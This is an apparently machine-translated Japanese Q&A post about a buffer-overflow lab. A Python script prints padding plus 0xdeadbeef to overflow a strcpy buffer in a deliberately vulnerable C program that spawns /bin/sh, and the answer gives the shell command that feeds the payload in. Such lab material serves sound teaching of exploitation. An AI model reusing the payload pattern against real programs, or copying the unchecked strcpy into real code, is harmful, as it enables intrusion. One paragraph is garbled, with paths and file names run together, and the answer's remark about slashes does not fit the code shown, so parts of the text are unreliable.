stdoutを別のディレクトリにあるファイルにパイプする方法は?

stdoutを別のディレクトリにあるファイルにパイプする方法は?

私はPythonファイルの標準出力をパイプし、exploit1.pyC実行可能ファイルのコマンドライン引数として受け入れることができるようにしたいと思いますlab2C.c。私の目的は、charバッファをオーバーフローするlab2C.cことによってメモリがint set_me

問題は、同じローカルパスに属さない2つの異なるディレクトリにあるexploit1.pyことです。に横たわっている。パイプを介してstdoutをデフォルトの機能パラメータとして受け入れる方法は?lab2C.cexploit1.py/tmplab2Clab2C.c/levels/lab02exploit1.pylab2C

参照できる2つの文書は次のとおりです。

1.py活用:

def main():

    print("aaabbbcccdddeee\xef\xbe\xad\xde")

main()

lab2C.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void shell()
{
        printf("You did it.\n");
        system("/bin/sh");
}

int main(int argc, char** argv){
    if(argc != 2)
    {
            printf("usage:\n%s string\n", argv[0]);
            return EXIT_FAILURE;
    }

    int set_me = 0;
    char buf[15];
    strcpy(buf, argv[1]);

    if(set_me == 0xdeadbeef)
    {
            shell();
    }
    else
    {
            printf("Not authenticated.\nset_me was %d\n", set_me);
    }

    return EXIT_SUCCESS;
}

ベストアンサー1

Cプログラムは標準入力から読み取られないため、何も標準入力に接続できません。ただし、コマンドライン引数が必要なので、次のように呼び出す必要があります。

/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"

現在ある場合は、/levels/lab02次のように短縮できます。

./lab2C.exe "$(python /tmp/exploit1.py)"

.exe実行ファイルにサフィックスを追加することはUnixでは一般的ではありません。また、コードにバグがあり(バッファオーバーフローとヘッダーが欠落している)、Pythonコードの文字列は思ったように動作しません(スラッシュはおそらくバックスラッシュでなければなりません)。

おすすめ記事